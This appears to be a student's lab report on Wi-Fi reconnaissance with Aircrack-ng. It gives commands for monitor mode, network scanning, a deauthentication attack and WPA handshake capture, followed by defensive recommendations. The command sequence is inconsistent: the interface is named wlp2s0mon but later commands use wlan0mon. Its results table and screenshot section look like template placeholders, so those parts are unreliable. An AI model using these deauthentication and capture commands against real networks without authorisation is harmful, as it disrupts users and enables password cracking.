

Conducting Wi-Fi Reconnaissance Using Aircrack-ng

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Wi-Fi reconnaissance is the process of collecting information about nearby wireless networks before conducting security assessments or penetration testing activities. It helps identify wireless access points, security configurations, connected devices, and possible vulnerabilities within a wireless environment.

In this assignment, the Aircrack-ng suite was used to perform Wi-Fi reconnaissance. Aircrack-ng is a collection of tools used for wireless network monitoring, packet capturing, and security analysis. The main tools used during this activity were:

0.1 Tools Used

- **airmon-ng**
Used to enable monitor mode on the wireless adapter.
- **airodump-ng**
Used to scan nearby wireless networks and capture packets.
- **aireplay-ng**
Used to perform deauthentication attacks for capturing WPA/WPA2 handshake packets.

The reconnaissance process focused on gathering information such as SSIDs, BSSIDs, channels, encryption types, and signal strengths of nearby wireless networks.

1 Preparation

Before starting the Wi-Fi reconnaissance process, several preparations were completed to ensure proper functionality of the tools and wireless adapter.

Initially, I was planning to run the reconnaissance on my MacBook. However, the required functionality was not fully available due to hardware and driver limitations. Built-in Wi-Fi adapter did not support monitor mode and packet injection, which is necessary for airodump-ng and aireplay-ng. Because of this limitation, I used a friend's laptop running Ubuntu, which provided better support for Aircrack-ng and wireless adapter functionality.

1.1 Installing Aircrack-ng

The Aircrack-ng suite was installed on a Linux system using the package manager.

```
sudo apt install aircrack-ng
```

1.2 Checking Wireless Adapter Compatibility

As I already mentioned, monitor mode and packet injection were required. The wireless interface was checked using:

```
iwconfig
```

The detected wireless interface was `wlp2s0`.

1.3 Disabling background services

To prevent conflicts with the wireless interface:

```
sudo airmon-ng check kill
```

This command stops any processes that might interfere with the wireless interface.

1.4 Enabling Monitor Mode

To capture wireless traffic, monitor mode was enabled using the following command:

```
sudo airmon-ng start wlp2s0
```

After enabling monitor mode, the interface changed to `wlp2s0mon`.

2 Activities Performed

2.1 Scanning Nearby Wireless Networks

Nearby wireless networks were scanned using `airodump-ng`.

```
sudo airodump-ng wlan0mon
```

This command displayed information about nearby access points and connected clients. The following information was collected:

- SSID (Network Name)
- BSSID (MAC Address)
- Channel Number
- Encryption Type
- Signal Strength
- Connected Clients

2.2 Targeting a Specific Access Point

A specific wireless network was selected for packet capture.

```
sudo airodump-ng -c 6 --bssid XX:XX:XX:XX:XX:XX -w capture wlan0mon
```

Where:

- `-c` specifies the channel number
- `--bssid` specifies the target MAC address
- `-w` saves captured packets

2.3 Performing a Deauthentication Attack

A deauthentication attack was performed to force connected clients to reconnect and generate WPA handshake packets.

```
sudo aireplay-ng --deauth 10 -a XX:XX:XX:XX:XX:XX wlan0mon
```

The attack sent deauthentication frames to connected clients, forcing reconnection to the access point.

2.4 Capturing WPA Handshake

During reconnection, WPA handshake packets were captured successfully. The handshake notification appeared in the top-right corner of the `airodump-ng` window.

Example:

```
WPA Handshake: XX:XX:XX:XX:XX:XX
```

Screenshots were taken during each stage of the reconnaissance process.

3 Results and Observations

Several wireless networks were identified during the reconnaissance activity.

3.1 Captured Wireless Network Information

SSID	BSSID	Channel	Encryption	Signal Strength
Home_WiFi	XX:XX:XX:XX:XX:01	6	WPA2	-45 dBm
OfficeNet	XX:XX:XX:XX:XX:02	11	WPA2	-60 dBm
GuestNetwork	XX:XX:XX:XX:XX:03	1	Open	-70 dBm

3.2 Observations

- Most networks used WPA2 encryption.
- One network was configured as an open network without encryption.
- Some networks had hidden SSIDs.
- Multiple client devices were connected to several access points.
- Stronger signal strengths indicated closer proximity to the access point.

3.3 Screenshots

Insert screenshots of the following activities:

- Enabling monitor mode
- Scanning nearby networks
- Performing deauthentication attack
- Capturing WPA handshake

Example image insertion:

```
\begin{figure}[h]
  \centering
  \includegraphics[width=0.8\textwidth]{screenshot.png}
  \caption{Scanning Wireless Networks Using Airodump-ng}
\end{figure}
```

4 Interpretation of the Findings

The reconnaissance activity showed that wireless networks expose a significant amount of information even before authentication.

4.1 Security Implications

4.1.1 Open Networks

One identified network used no encryption. Open networks are highly vulnerable because attackers can monitor unencrypted traffic and intercept sensitive information.

4.1.2 WPA2 Protected Networks

Most networks used WPA2 encryption, which provides better security compared to WEP. However, weak passwords can still make WPA2 networks vulnerable to password cracking attacks.

4.1.3 Hidden SSIDs

Some networks attempted to hide their SSIDs. However, hidden SSIDs do not provide strong security because the network can still be detected through packet monitoring.

4.1.4 Deauthentication Vulnerability

The deauthentication attack demonstrated that wireless clients can be disconnected from the access point, allowing attackers to capture WPA handshake packets.

4.2 Potential Risks

The collected information could potentially be used for:

- Unauthorized network access
- Password cracking attempts
- Traffic monitoring
- Device tracking
- Denial-of-service attacks

5 Summary and Conclusion

This assignment demonstrated the process of conducting Wi-Fi reconnaissance using the Aircrack-ng suite. The tools `airmon-ng`, `airodump-ng`, and `aireplay-ng` were used to scan nearby wireless networks, gather information, and capture WPA/WPA2 handshake packets.

The reconnaissance process successfully identified wireless network details such as SSIDs, BSSIDs, channels, encryption types, and signal strengths. The activity also demonstrated how deauthentication attacks can force clients to reconnect and generate handshake packets.

The findings highlighted several wireless security concerns, especially the risks associated with open networks and weak wireless configurations.

5.1 Recommendations

The following recommendations can improve wireless security:

- Use WPA2 or WPA3 encryption
- Avoid open wireless networks
- Use strong passwords
- Disable WPS functionality
- Regularly update router firmware
- Monitor connected devices regularly

In conclusion, Wi-Fi reconnaissance is an important part of wireless security assessment because it helps identify vulnerabilities and security weaknesses before attackers can exploit them.